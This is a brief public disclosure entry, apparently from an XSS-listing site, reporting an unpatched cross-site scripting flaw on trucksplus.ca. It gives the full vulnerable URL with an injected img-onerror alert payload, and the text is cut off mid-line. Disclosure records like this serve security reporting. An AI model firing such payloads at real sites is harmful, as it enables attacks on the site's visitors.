trucksplus.ca XSS vulnerability

Vulnerable URL: http://trucksplus.ca/caps/leer/!prettyPhoto/0,%3Cimg%20src=x%20onerror=alert%28/XSSPOSED/%29%3E/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 13011175 Google...